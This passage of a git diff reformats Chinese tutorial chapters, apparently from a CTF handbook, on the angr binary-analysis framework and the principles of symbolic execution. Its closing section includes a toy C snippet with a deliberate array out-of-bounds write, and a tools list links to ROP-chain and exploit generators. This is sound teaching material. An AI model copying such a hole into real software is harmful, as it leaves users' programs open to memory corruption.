- [Valgrind: A Framework for Heavyweight Dynamic Binary Instrumentation](http://valgrind.org/docs/valgrind2007.pdf)
|
||||
- [Optimizing Binary Code Produced by Valgrind](https://pdfs.semanticscholar.org/6761/acf36975d38fd5f616cb4798bfa3a92cbfa3.pdf)
|
||||
- [libvex_ir.h](https://github.com/angr/vex/blob/dev/pub/libvex_ir.h)
|
||||
|
@ -13,24 +13,27 @@
|
||||
- [CTF 实例](#ctf-实例)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 简介
|
||||
|
||||
[angr](https://github.com/angr/angr) 是一个多架构的二进制分析平台,具备对二进制文件的动态符号执行能力和多种静态分析能力。在近几年的 CTF 中也大有用途。
|
||||
|
||||
|
||||
## 安装
|
||||
|
||||
在 Ubuntu 上,首先我们应该安装所有的编译所需要的依赖环境:
|
||||
```
|
||||
|
||||
```text
|
||||
$ sudo apt install python-dev libffi-dev build-essential virtualenvwrapper
|
||||
```
|
||||
|
||||
强烈建议在虚拟环境中安装 angr,因为有几个 angr 的依赖(比如z3)是从他们的原始库中 fork 而来,如果你已经安装了 z3,那么肯定不希望 angr 的依赖覆盖掉官方的共享库,开一个隔离的环境就好了:
|
||||
```
|
||||
|
||||
```text
|
||||
$ mkvirtualenv angr
|
||||
$ sudo pip install angr
|
||||
```
|
||||
|
||||
如果这样安装失败的话,那么你可以按照下面的顺序从 angr 的官方仓库安装:
|
||||
|
||||
```text
|
||||
1. claripy
|
||||
2. archinfo
|
||||
@ -38,28 +41,35 @@ $ sudo pip install angr
|
||||
4. cle
|
||||
5. angr
|
||||
```
|
||||
|
||||
例如下面这样:
|
||||
```shell
|
||||
|
||||
```text
|
||||
$ git clone https://github.com/angr/claripy
|
||||
$ cd claripy
|
||||
$ sudo pip install -r requirements.txt
|
||||
$ sudo python setup.py build
|
||||
$ sudo python setup.py install
|
||||
```
|
||||
|
||||
安装过程中可能会有一些奇怪的错误,可以到官方文档中查看。
|
||||
|
||||
另外 angr 还有一个 GUI 可以用,查看 [angr Management](https://github.com/angr/angr-management)。
|
||||
|
||||
|
||||
## 使用方法
|
||||
#### 快速入门
|
||||
|
||||
### 快速入门
|
||||
|
||||
使用 angr 的第一步是新建一个工程,几乎所有的操作都是围绕这个工程展开的:
|
||||
|
||||
```python
|
||||
>>> import angr
|
||||
>>> proj = angr.Project('/bin/true')
|
||||
WARNING | 2017-12-08 10:46:58,836 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
|
||||
```
|
||||
|
||||
这样就得到了二进制文件的各种信息,如:
|
||||
|
||||
```python
|
||||
>>> proj.filename # 文件名
|
||||
'/bin/true'
|
||||
@ -70,12 +80,15 @@ WARNING | 2017-12-08 10:46:58,836 | cle.loader | The main binary is a position-i
|
||||
```
|
||||
|
||||
程序加载时会将二进制文件和共享库映射到虚拟地址中,CLE 模块就是用来处理这些东西的。
|
||||
|
||||
```python
|
||||
>>> proj.loader
|
||||
<Loaded true, maps [0x400000:0x5008000]>
|
||||
```
|
||||
|
||||
所有对象文件如下,其中二进制文件本身是 main_object,然后还可以查看对象文件的相关信息:
|
||||
```
|
||||
|
||||
```text
|
||||
>>> for obj in proj.loader.all_objects:
|
||||
... print obj
|
||||
...
|
||||
@ -94,8 +107,10 @@ WARNING | 2017-12-08 10:46:58,836 | cle.loader | The main binary is a position-i
|
||||
>>> proj.loader.main_object.execstack
|
||||
False
|
||||
```
|
||||
|
||||
通常我们在创建工程时选择关闭 `auto_load_libs` 以避免 angr 加载共享库:
|
||||
```
|
||||
|
||||
```text
|
||||
>>> p = angr.Project('/bin/true', auto_load_libs=False)
|
||||
WARNING | 2017-12-08 11:09:28,629 | cle.loader | The main binary is a position-independent executable. It is being loaded with a base address of 0x400000.
|
||||
>>> p.loader.all_objects
|
||||
@ -105,6 +120,7 @@ WARNING | 2017-12-08 11:09:28,629 | cle.loader | The main binary is a position-i
|
||||
`project.factory` 提供了很多类对二进制文件进行分析,它提供了几个方便的构造函数。
|
||||
|
||||
`project.factory.block()` 用于从给定地址解析一个 basic block,对象类型为 Block:
|
||||
|
||||
```python
|
||||
>>> block = proj.factory.block(proj.entry) # 从程序头开始解析一个 basic block
|
||||
>>> block
|
||||
@ -126,7 +142,9 @@ WARNING | 2017-12-08 11:09:28,629 | cle.loader | The main binary is a position-i
|
||||
>>> block.instruction_addrs # 指令地址
|
||||
[4199280L, 4199282L, 4199285L, 4199286L, 4199289L, 4199293L, 4199294L, 4199295L, 4199302L, 4199309L, 4199316L]
|
||||
```
|
||||
|
||||
另外,还可以将 Block 对象转换成其他形式:
|
||||
|
||||
```python
|
||||
>>> block.capstone
|
||||
<CapstoneBlock for 0x401370>
|
||||
@ -138,12 +156,15 @@ IRSB <0x2a bytes, 11 ins., <Arch AMD64 (LE)>> at 0x401370
|
||||
```
|
||||
|
||||
程序的执行需要初始化一个模拟程序状态的 `SimState` 对象:
|
||||
|
||||
```python
|
||||
>>> state = proj.factory.entry_state()
|
||||
>>> state
|
||||
<SimState @ 0x401370>
|
||||
```
|
||||
|
||||
该对象包含了程序的内存、寄存器、文件系统数据等等模拟运行时动态变化的数据,例如:
|
||||
|
||||
```python
|
||||
>>> state.regs # 寄存器名对象
|
||||
<angr.state_plugins.view.SimRegNameView object at 0x7f126fdfe810>
|
||||
@ -158,9 +179,11 @@ IRSB <0x2a bytes, 11 ins., <Arch AMD64 (LE)>> at 0x401370
|
||||
>>> state.mem[proj.entry].int.resolved # 将入口点的内存解释为 C 语言的 int 类型
|
||||
<BV32 0x8949ed31>
|
||||
```
|
||||
|
||||
这里的 BV,即 bitvectors,可以理解为一个比特串,用于在 angr 里表示 CPU 数据。看到在这里 rdi 有点特殊,它没有具体的数值,而是在符号执行中所使用的符号变量,我们会在稍后再做讲解。
|
||||
|
||||
下面是 Python int 和 bitvectors 之间的转换:
|
||||
|
||||
```python
|
||||
>>> bv = state.solver.BVV(0x1234, 32) # 创建值 0x1234 的 BV32 对象
|
||||
>>> bv
|
||||
@ -173,7 +196,9 @@ IRSB <0x2a bytes, 11 ins., <Arch AMD64 (LE)>> at 0x401370
|
||||
>>> hex(state.solver.eval(bv))
|
||||
'0x1234L'
|
||||
```
|
||||
|
||||
于是 bitvectors 可以进行数学运算:
|
||||
|
||||
```python
|
||||
>>> one = state.solver.BVV(1, 64)
|
||||
>>> one_hundred = state.solver.BVV(100, 64)
|
||||
@ -192,7 +217,9 @@ IRSB <0x2a bytes, 11 ins., <Arch AMD64 (LE)>> at 0x401370
|
||||
>>> one + five.sign_extend(64 - 27) # 或者有符号扩展
|
||||
<BV64 0x6>
|
||||
```
|
||||
|
||||
使用 bitvectors 可以直接来设置寄存器和内存的值,当传入的是 Python int 时,angr 会自动将其转换成 bitvectors:
|
||||
|
||||
```python
|
||||
>>> state.regs.rsi = state.solver.BVV(3, 64)
|
||||
>>> state.regs.rsi
|
||||
@ -205,6 +232,7 @@ IRSB <0x2a bytes, 11 ins., <Arch AMD64 (LE)>> at 0x401370
|
||||
```
|
||||
|
||||
初始化的 state 可以经过模拟执行得到一系列的 states,模拟管理器(Simulation Managers)的作用就是对这些 states 进行管理:
|
||||
|
||||
```python
|
||||
>>> simgr = proj.factory.simulation_manager(state)
|
||||
>>> simgr
|
||||
@ -222,6 +250,7 @@ IRSB <0x2a bytes, 11 ins., <Arch AMD64 (LE)>> at 0x401370
|
||||
```
|
||||
|
||||
angr 提供了大量函数用于程序分析,在这些函数在 `Project.analyses.`,例如:
|
||||
|
||||
```python
|
||||
>>> cfg = p.analyses.CFGFast() # 得到 control-flow graph
|
||||
>>> cfg
|
||||
@ -236,7 +265,9 @@ angr 提供了大量函数用于程序分析,在这些函数在 `Project.analy
|
||||
>>> len(list(cfg.graph.successors(entry_node)))
|
||||
2
|
||||
```
|
||||
|
||||
如果要想画出图来,还需要安装 matplotlib。
|
||||
|
||||
```python
|
||||
>>> import networkx as nx
|
||||
>>> import matplotlib
|
||||
@ -246,10 +277,12 @@ angr 提供了大量函数用于程序分析,在这些函数在 `Project.analy
|
||||
>>> plt.savefig('temp.png') # 保存
|
||||
```
|
||||
|
||||
#### 二进制文件加载器
|
||||
### 二进制文件加载器
|
||||
|
||||
我们知道 angr 是高度模块化的,接下来我们就分别来看看这些组成模块,其中用于二进制加载模块称为 CLE。主类为 `cle.loader.Loader`,它导入所有的对象文件并导出一个进程内存的抽象。类 `cle.backends` 是加载器的后端,根据二进制文件类型区分为 `cle.backends.elf`、`cle.backends.pe`、`cle.backends.macho` 等。
|
||||
|
||||
首先我们来看加载器的一些常用参数:
|
||||
|
||||
- `auto_load_libs`:是否自动加载主对象文件所依赖的共享库
|
||||
- `except_missing_libs`:当有共享库没有找到时抛出异常
|
||||
- `force_load_libs`:强制加载列表指定的共享库,不论其是否被依赖
|
||||
@ -257,18 +290,21 @@ angr 提供了大量函数用于程序分析,在这些函数在 `Project.analy
|
||||
- `custom_ld_path`:可以到列表指定的路径查找共享库
|
||||
|
||||
如果希望对某个对象文件单独指定加载参数,可以使用 `main_ops` 和 `lib_opts` 以字典的形式指定参数。一些通用的参数如下:
|
||||
|
||||
- `backend`:使用的加载器后端,如:"elf", "pe", "mach-o", "ida", "blob" 等
|
||||
- `custom_arch`:使用的 archinfo.Arch 对象
|
||||
- `custom_base_addr`:指定对象文件的基址
|
||||
- `custom_entry_point`:指定对象文件的入口点
|
||||
|
||||
举个例子:
|
||||
|
||||
```python
|
||||
angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'libc.so.6': {'backend': 'elf'}})
|
||||
```
|
||||
|
||||
加载对象文件和细分类型如下:
|
||||
```
|
||||
|
||||
```text
|
||||
>>> for obj in proj.loader.all_objects:
|
||||
... print obj
|
||||
...
|
||||
@ -279,6 +315,7 @@ angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'lib
|
||||
<ExternObject Object cle##externs, maps [0x4000000:0x4008000]>
|
||||
<KernelObject Object cle##kernel, maps [0x5000000:0x5008000]>
|
||||
```
|
||||
|
||||
- `proj.loader.main_object`:主对象文件
|
||||
- `proj.loader.shared_objects`:共享对象文件
|
||||
- `proj.loader.extern_object`:外部对象文件
|
||||
@ -286,6 +323,7 @@ angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'lib
|
||||
- `proj.loader.kernel_object`:内核对象文件
|
||||
|
||||
通过对这些对象文件进行操作,可以解析出相关信息:
|
||||
|
||||
```python
|
||||
>>> obj = proj.loader.main_object
|
||||
>>> obj
|
||||
@ -308,7 +346,9 @@ angr.Project(main_opts={'backend': 'ida', 'custom_arch': 'i386'}, lib_opts={'lib
|
||||
<.note.gnu.build-id | offset 0x274, vaddr 0x400274, size 0x24>
|
||||
...etc
|
||||
```
|
||||
|
||||
根据地址查找我们需要的东西:
|
||||
|
||||
```python
|
||||
>>> proj.loader.find_object_containing(0x400000) # 包含指定地址的 object
|
||||
<ELF Object true, maps [0x400000:0x60721f]>
|
||||
@ -351,6 +391,7 @@ True
|
||||
```
|
||||
|
||||
通过 `obj.relocs` 可以查看所有的重定位符号信息,或者通过 `obj.imports` 可以得到一个符号信息的字典:
|
||||
|
||||
```python
|
||||
>>> for imp in obj.imports:
|
||||
... print imp, obj.imports[imp]
|
||||
@ -366,6 +407,7 @@ malloc <cle.backends.elf.relocation.amd64.R_X86_64_GLOB_DAT object at 0x7faf8301
|
||||
```
|
||||
|
||||
这一部分还有个 hooking 机制,用于将共享库中的代码替换为其他的操作。使用函数 `proj.hook(addr, hook)` 和 `proj.hook_symbol(name, hook)` 来做到这一点,其中 `hook` 是一个 SimProcedure 的实例。通过 `.is_hooked`、`.unhook` 和 `.hooked_by` 来进行管理:
|
||||
|
||||
```python
|
||||
>>> stub_func = angr.SIM_PROCEDURES['stubs']['ReturnUnconstrained'] # 获得一个类
|
||||
>>> stub_func
|
||||
@ -384,7 +426,9 @@ True
|
||||
>>> proj.is_hooked(17316528)
|
||||
True
|
||||
```
|
||||
|
||||
当然也可以利用装饰器编写自己的 hook 函数:
|
||||
|
||||
```python
|
||||
>>> @proj.hook(0x20000, length=5) # length 参数可选,表示程序执行完 hook 后跳过几个字节
|
||||
... def my_hook(state):
|
||||
@ -394,10 +438,12 @@ True
|
||||
True
|
||||
```
|
||||
|
||||
#### 求解器引擎
|
||||
### 求解器引擎
|
||||
|
||||
angr 是一个符号执行工具,它通过符号表达式来模拟程序的执行,将程序的输出表示成包含这些符号的逻辑或数学表达式,然后利用约束求解器进行求解。
|
||||
|
||||
从前面的内容中我们已经知道 bitvectors 是一个比特串,并且看到了 bitvectors 做的一些具体的数学运算。其实 bitvectors 不仅可以表示具体的数值,还可以表示虚拟的数值,即符号变量。
|
||||
|
||||
```python
|
||||
>>> x = state.solver.BVS("x", 64)
|
||||
>>> x
|
||||
@ -406,7 +452,9 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执
|
||||
>>> y
|
||||
<BV64 y_1_64>
|
||||
```
|
||||
|
||||
而符号变量之间的运算同样不会时具体的数值,而是一个 AST,所以我们接下来同样使用 bitvector 来指代 AST:
|
||||
|
||||
```python
|
||||
>>> x + 0x10
|
||||
<BV64 x_0_64 + 0x10>
|
||||
@ -415,7 +463,9 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执
|
||||
>>> x - y
|
||||
<BV64 x_0_64 - y_1_64>
|
||||
```
|
||||
|
||||
每个 AST 都有一个 `.op` 和一个 `.args` 属性:
|
||||
|
||||
```python
|
||||
>>> tree = (x + 1) / (y + 2)
|
||||
>>> tree
|
||||
@ -435,6 +485,7 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执
|
||||
```
|
||||
|
||||
知道了符号变量的表示,接下来看符号约束:
|
||||
|
||||
```python
|
||||
>>> x == 1 # AST 比较会得到一个符号化的布尔值
|
||||
<Bool x_0_64 == 0x1>
|
||||
@ -446,7 +497,9 @@ angr 是一个符号执行工具,它通过符号表达式来模拟程序的执
|
||||
>>> state.solver.BVV(-1, 64) > 0 # 无符号数 0xffffffffffffffff
|
||||
<Bool True>
|
||||
```
|
||||
|
||||
正因为布尔值是符号化的,所以在需要做 if 或者 while 判断的时候,不要直接使用比较作为条件,而应该使用 `.is_true` 和 `.is_false` 来进行判断:
|
||||
|
||||
```python
|
||||
>>> yes = state.solver.BVV(1, 64) > 0
|
||||
>>> yes
|
||||
@ -466,6 +519,7 @@ False
|
||||
```
|
||||
|
||||
为了进行符号求解,首先要将符号化布尔值作为符号变量有效值的断言加入到 state 中,作为限制条件,当然如果添加了无法满足的限制条件,将无法求解:
|
||||
|
||||
```python
|
||||
>>> state.solver.add(x > y) # 添加限制条件
|
||||
[<Bool x_0_64 > y_1_64>]
|
||||
@ -501,6 +555,7 @@ False
|
||||
```
|
||||
|
||||
angr 使用 z3 作为约束求解器,而 z3 支持 IEEE754 浮点数的理论,所以我们也可以使用浮点数。使用 `FPV` 和 `FPS` 即可创建浮点数值和浮点符号:
|
||||
|
||||
```python
|
||||
>>> state = proj.factory.entry_state() # 刷新状态
|
||||
>>> a = state.solver.FPV(3.2, state.solver.fp.FSORT_DOUBLE) # 浮点数值
|
||||
@ -528,7 +583,9 @@ angr 使用 z3 作为约束求解器,而 z3 支持 IEEE754 浮点数的理论
|
||||
>>> state.solver.eval(b)
|
||||
-2.4999999999999996
|
||||
```
|
||||
|
||||
bitvectors 和浮点数的转换使用 `raw_to_bv` 和 `raw_to_fp`:
|
||||
|
||||
```python
|
||||
>>> a.raw_to_bv()
|
||||
<BV64 0x400999999999999a>
|
||||
@ -540,7 +597,9 @@ bitvectors 和浮点数的转换使用 `raw_to_bv` 和 `raw_to_fp`:
|
||||
>>> state.solver.BVS('x', 64).raw_to_fp()
|
||||
<FP64 fpToFP(x_3_64, DOUBLE)>
|
||||
```
|
||||
|
||||
或者如果我们需要指定宽度的 bitvectors,可以使用 `val_to_bv` 和 `val_to_fp`:
|
||||
|
||||
```python
|
||||
>>> a
|
||||
<FP64 FPV(3.2, DOUBLE)>
|
||||
@ -550,22 +609,26 @@ bitvectors 和浮点数的转换使用 `raw_to_bv` 和 `raw_to_fp`:
|
||||
<FP32 FPV(3.0, FLOAT)>
|
||||
```
|
||||
|
||||
#### 程序状态
|
||||
### 程序状态
|
||||
|
||||
`state.step()` 用于模拟执行的一个 basic block 并返回一个 SimSuccessors 类型的对象,由于符号执行可能产生多个 state,所以该对象的 `.successors` 属性是一个列表,包含了所有可能的 state。
|
||||
|
||||
程序状态 state 是一个 SimState 类型的对象,`angr.factory.AngrObjectFactory` 类提供了创建 state 对象的方法:
|
||||
|
||||
- `.blank_state()`:返回一个几乎没有初始化的 state 对象,当访问未初始化的数据时,将返回一个没有约束条件的符号值。
|
||||
- `.entry_state()`:从主对象文件的入口点创建一个 state。
|
||||
- `.full_init_state()`:与 entry_state() 类似,但执行不是从入口点开始,而是从一个特殊的 SimProcedure 开始,在执行到入口点之前调用必要的初始化函数。
|
||||
- `.call_state()`:创建一个准备执行给定函数的 state。
|
||||
|
||||
下面对这些方法的参数做一些说明:
|
||||
|
||||
- 所有方法都可以传入参数 `addr` 来指定开始地址
|
||||
- 可以通过 `args` 传入参数列表,`env` 传入环境变量。类型可以是字符串,也可以是 bitvectors
|
||||
- 通过传入一个符号 bitvector 作为 `argc`,可以将 `argc` 符号化
|
||||
- 对于 `.call_state(addr, arg1, arg2, ...)`,`addr` 是希望调用的函数地址,`argN` 是传递给函数的 N 个参数,如果希望分配一个内存空间并传递指针,则需要使用 `angr.PointerWrapper()`;如果需要指定调用约定,可以传递一个 SimCC 对象作为 `cc` 参数
|
||||
|
||||
创建的 state 可以很方便地复制和合并:
|
||||
|
||||
```python
|
||||
>>> s = proj.factory.blank_state()
|
||||
>>> s1 = s.copy() # 复制 state
|
||||
@ -588,6 +651,7 @@ True
|
||||
```
|
||||
|
||||
我们已经知道使用 `state.mem` 可以很方便的操作内存,但如果你想要对内存进行原始的操作时,可以使用 `state.memory` 的 `.load(addr, size)` 和 `.store(addr, val)`:
|
||||
|
||||
```python
|
||||
>>> s = proj.factory.blank_state()
|
||||
>>> s.memory.store(0x4000, s.solver.BVV(0x0123456789abcdef, 128)) # 默认大端序
|
||||
@ -606,9 +670,11 @@ True
|
||||
>>> s.mem[0x4000].uint64_t.resolved # 与 mem 对比
|
||||
<BV64 0x123456789abcdef>
|
||||
```
|
||||
|
||||
可以看到默认情况下 store 和 load 都使用大端序的方式,但可以通过指定参数 `endness` 来使用小端序。
|
||||
|
||||
通过 `state.options` 可以对 angr 的行为做特定的优化。我们既可以在创建 state 时将 option 作为参数传递进去,也可以对已经存在的 state 进行修改。例如:
|
||||
|
||||
```python
|
||||
>>> s = proj.factory.blank_state(add_options={angr.options.LAZY_SOLVES}) # 启用 options
|
||||
>>> s = proj.factory.blank_state(remove_options={angr.options.LAZY_SOLVES}) # 禁用 options
|
||||
@ -618,6 +684,7 @@ True
|
||||
```
|
||||
|
||||
SimState 对象的所有内容(包括`memory`、`registers`、`mem`等)都是以插件的形式存储的,这样做的好处是将代码模块化,如果我们想要在 state 中存储其他的数据,那么直接实现一个插件就可以了。
|
||||
|
||||
- `state.globals`:实现了一个标准的 Python dict 的接口,通过它可以在一个 state 上存储任意的数据。
|
||||
- `state.history`:存储了一个 state 在执行过程中的路径历史数据,它是一个链表,每个节点表示一个执行,通过像 `history.parent.parent` 这样的方式进行遍历。为了得到 history 中某个具体的值,可以使用迭代器 `history.NAME`,这样的值保存在 `history.recent_NAME`。如果想要快速得到这些值的一个列表,可以查看 `.hardcopy`。
|
||||
- `history.descriptions`:对 state 每次执行的描述的列表。
|
||||
@ -632,10 +699,12 @@ SimState 对象的所有内容(包括`memory`、`registers`、`mem`等)都
|
||||
- `callstack.stack_ptr`:从当前函数开头开始计算的堆栈指针的值。
|
||||
- `callstack.ret_addr`:当前函数的返回地址。
|
||||
|
||||
#### 模拟管理器
|
||||
### 模拟管理器
|
||||
|
||||
模拟管理器(Simulation Managers)是 angr 最重要的控制接口,它允许同时对各组状态的符号执行进行控制,同时应用搜索策略来探索程序的状态空间。states 会被整理到 stashes 里,从而进行各种操作。
|
||||
|
||||
我们用一个小程序来作例子,它有 3 种可能性,也就是 3 条路径:
|
||||
|
||||
```c
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
@ -659,6 +728,7 @@ int main() {
|
||||
```
|
||||
|
||||
模拟管理器最基本的功能是将一个 stash 里所有的 states 向前推进一个 basic block,利用 `.step()` 来实现,而 `.run()` 方法可以直接执行到程序结束:
|
||||
|
||||
```python
|
||||
>>> proj = angr.Project('a.out', auto_load_libs=False)
|
||||
>>> state = proj.factory.entry_state()
|
||||
@ -688,9 +758,11 @@ int main() {
|
||||
>>> simgr.deadended # deadended stash
|
||||
[<SimState @ 0x1000068>, <SimState @ 0x1000020>, <SimState @ 0x1000068>]
|
||||
```
|
||||
|
||||
于是我们得到了 3 个 deadended 状态的 state。这一状态表示一个 state 一直执行到没有后继者了,那么就将它从 active stash 中移除,放到 deadended stash 中。
|
||||
|
||||
stash 默认的类型有下面几种,当然你也可以定义自己的 stash:
|
||||
|
||||
- `active`:默认情况下存储可以执行的 state。
|
||||
- `deadended`:当 state 无法继续执行时会被放到这里,包括没有更多的有效指令,没有可满足的后继状态,或者指令指针无效等。
|
||||
- `pruned`:当启用 `LAZY_SOLVES` 时,除非绝对必要,否则是不会在执行中检查 state 的可满足性的。当某个 state 被发现是不可满足的,则 state 会被回溯上去,以确定最早是哪个 state 不可满足。然后这之后所有的 state 都会被放到 `pruned` stash 中。
|
||||
@ -700,11 +772,14 @@ stash 默认的类型有下面几种,当然你也可以定义自己的 stash
|
||||
另外还有一个叫做 `errored` 的列表,它不是一个 stash。如果 state 在执行过程中发生错误,则该 state 会被包装在一个 ErrorRecord 对象中,该对象包含 state 和引发的错误,然后这个对象被插入到 `errored` 中。
|
||||
|
||||
可以使用 `.move()`,将 `filter_func` 筛选出来的 state 从 `from_stash` 移动到 `to_stash`:
|
||||
|
||||
```python
|
||||
>>> simgr.move(from_stash='deadended', to_stash='more_then_50', filter_func=lambda s: '100' in s.posix.dumps(1))
|
||||
<SimulationManager with 1 deadended, 2 more_then_50>
|
||||
```
|
||||
|
||||
每个 stash 都是一个列表,可以用列表的操作来遍历它,同时 angr 也提供了一些高级的方法,例如在 stash 名称前面加上 `one_`,表示该 stash 的第一个 state;在名称前加上 `mp_`,将得到一个 [mulpyplexed](https://github.com/zardus/mulpyplexer) 版本的 stash:
|
||||
|
||||
```python
|
||||
>>> for s in simgr.deadended + simgr.more_then_50:
|
||||
... print hex(s.addr)
|
||||
@ -722,6 +797,7 @@ MP(['-2424202024@', '+0000000060\x00'])
|
||||
```
|
||||
|
||||
最后再介绍一下模拟管理器所使用的探索技术(exploration techniques)。默认策略是广度优先搜索,但根据目标程序或者需要达到的目的不同,我们可能需要使用不同的探索技术,通过调用 `simgr.use_technique(tech)` 来实现,其中 tech 是一个 ExplorationTechnique 子类的实例。angr 内置的探索技术在 `angr.exploration_techniques` 下:
|
||||
|
||||
- `Explorer`:该技术实现了 `.explore()` 功能,允许在探索时查找或避免某些地址。
|
||||
- `DFS`:深度优先搜索,每次只探索一条路径,其它路径会放到 `deferred` stash 中。直到当前路径探索结束,再从 `deferred` 中取出最长的一条继续探索。
|
||||
- `LoopLimiter`:限制路径的循环次数,超出限制的路径将被放到 `discard` stash 中。
|
||||
@ -733,10 +809,12 @@ MP(['-2424202024@', '+0000000060\x00'])
|
||||
- `Threading`:将线程级并行添加到探索过程中。
|
||||
- `Spiller`:当处于 active 的 state 过多时,将其中一些转存到磁盘上以保持较低的内存消耗。
|
||||
|
||||
#### VEX IR 翻译器
|
||||
### VEX IR 翻译器
|
||||
|
||||
angr 使用了 VEX 作为二进制分析的中间表示。VEX IR 是由 Valgrind 项目开发和使用的中间表示,后来这一部分被分离出去作为 libVEX,libVEX 用于将机器码转换成 VEX IR(更多内容参考章节5.2.3)。在 angr 项目中,开发了模块 [PyVEX](https://github.com/angr/pyvex) 作为 libVEX 的 Python 包装。当然也对 libVEX 做了一些修改,使其更加适用于程序分析。
|
||||
|
||||
一些用法如下:
|
||||
|
||||
```python
|
||||
>>> import pyvex, archinfo
|
||||
>>> bb = pyvex.IRSB('\xc3', 0x400400, archinfo.ArchAMD64()) # 将一个位于 0x400400 的 AMD64 基本块(\xc3,即ret)转成 VEX
|
||||
@ -785,20 +863,21 @@ t1
|
||||
|
||||
到这里 angr 的核心概念就介绍得差不多了,更多更详细的内容还是推荐查看官方教程和 API 文档。另外在我的博客里有 angr 源码分析的笔记。
|
||||
|
||||
|
||||
## 扩展工具
|
||||
|
||||
由于 angr 强大的静态分析和符号执行能力,我们可以在 angr 之上开发其他的一些工:
|
||||
|
||||
- [angrop](https://github.com/salls/angrop):rop 链自动化生成器
|
||||
- [Patcherex](https://github.com/shellphish/patcherex):二进制文件自动化 patch 引擎
|
||||
- [Driller](https://github.com/shellphish/driller):用符号执行增强 AFL 的下一代 fuzzer
|
||||
- [Rex](https://github.com/shellphish/rex):自动化漏洞利用引擎
|
||||
|
||||
|
||||
## CTF 实例
|
||||
|
||||
查看章节 6.2.3、6.2.8。
|
||||
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [angr.io](http://angr.io/)
|
||||
- [docs.angr.io](https://docs.angr.io/)
|
||||
- [angr API documentation](http://angr.io/api-doc/)
|
||||
|
@ -3,4 +3,5 @@
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [Triton - A DBA Framework](https://triton.quarkslab.com/)
|
||||
|
@ -3,4 +3,5 @@
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [KLEE LLVM Execution Engine](http://klee.github.io/)
|
||||
|
@ -3,4 +3,5 @@
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
## 参考资料
|
||||
|
||||
- [S²E: A Platform for In-Vivo Analysis of Software Systems](http://s2e.systems/)
|
||||
|
@ -5,8 +5,8 @@
|
||||
- [实例分析](#实例分析)
|
||||
- [参考资料](#参考资料)
|
||||
|
||||
|
||||
## 基本原理
|
||||
|
||||
符号执行起初应用于基于源代码的安全检测中,它通过符号表达式来模拟程序的执行,将程序的输出表示成包含这些符号的逻辑或数学表达式,从而进行语义分析。
|
||||
|
||||
符号执行可分为过程内分析和过程间分析(或全局分析)。过程内分析是指只对单个函数的代码进行分析,过程间分析是指在当前函数入口点要考虑当前函数的调用信息和环境信息等。当符号执行用于代码漏洞静态检测时,更多的是进行程序全局的分析且更侧重代码的安全性相关的检测。将符号执行与约束求解器结合使用来产生测试用例是一个比较热门的研究方向。(关于约束求解我们会在另外的章节中详细讲解)
|
||||
@ -16,6 +16,7 @@
|
||||
**动态符号执行**将符号执行和具体执行结合起来,并交替使用静态分析和动态分析,在具体执行的同时堆执行到的指令进行符号化执行。
|
||||
|
||||
每一个符号执行的路径都是一个 true 和 false 组成的序列,其中第 i 个 true(或false)表示在该路径的执行中遇到的第 i 个条件语句。一个程序所有的执行路径可以用执行树(Execution Tree)表示。举一个例子:
|
||||
|
||||
```c
|
||||
int twice(int v) {
|
||||
return 2*v;
|
||||
@ -37,14 +38,16 @@ int main() {
|
||||
return 0;
|
||||
}
|
||||
```
|
||||
|
||||
这段代码的执行树如下图所示,图中的三条路径分别可以被输入 {x = 0, y = 1}、{x = 2, y = 1} 和 {x = 30, y = 15} 触发:
|
||||
|
||||
![](../pic/5.3_tree.png)
|
||||
![img](../pic/5.3_tree.png)
|
||||
|
||||
符号执行中维护了符号状态 σ 和符号路径约束 PC,其中 σ 表示变量到符号表达式的映射,PC 是符号表示的不含量词的一阶表达式。在符号执行的初始化阶段,σ 被初始化为空映射,而 PC 被初始化为 true,并随着符号执行的过程不断变化。在对程序的某一路径分支进行符号执行的终点,把 PC 输入约束求解器以获得求解。如果程序把生成的具体值作为输入执行,它将会和符号执行运行在同一路径,并且以同一种方式结束。
|
||||
|
||||
例如上面的程序中 σ 和 PC 变化过程如下:
|
||||
```
|
||||
|
||||
```text
|
||||
开始: σ = NULL PC = true
|
||||
第6行: σ = x->x0, y->y0, z->2y0 PC = true
|
||||
遇到if(e)then{}else{}:σ = x->x0, y->y0 then分支:PC = PC∧σ(e) else分支:PC' = PC∧¬σ(e)
|
||||
@ -52,14 +55,16 @@ int main() {
|
||||
|
||||
于是我们发现,在符号执行中,对于分析过程所遇到的程序中带有条件的控制转移语句,可以利用变量的符号表达式将控制转移语句中的条件转化为对符号取值的约束,通过分析约束是否满足来判断程序的某条路径是否可行。这样的过程也叫作路径的可行性分析,它是符号执行的关键部分,我们常常将符号取值约束的求解问题转化为一阶逻辑的可满足性问题,从而使用可满足性模理论(SMT)求解器对约束进行求解。
|
||||
|
||||
#### 检测程序漏洞
|
||||
### 检测程序漏洞
|
||||
|
||||
程序中变量的取值可以被表示为符号值和常量组成的计算表达式,而一些程序漏洞可以表现为某些相关变量的取值不满足相应的约束,这时通过判断表示变量取值的表达式是否可以满足相应的约束,就可以判断程序是否存在相应的漏洞。
|
||||
|
||||
使用符号执行检测程序漏洞的原理如下图所示:
|
||||
|
||||
![](../pic/5.3_overview.png)
|
||||
![img](../pic/5.3_overview.png)
|
||||
|
||||
举个数组越界的例子:
|
||||
|
||||
```c
|
||||
int a[10];
|
||||
scanf("%d", &i);
|
||||
@ -69,21 +74,25 @@ if (i > 0) {
|
||||
a[i] = 1;
|
||||
}
|
||||
```
|
||||
|
||||
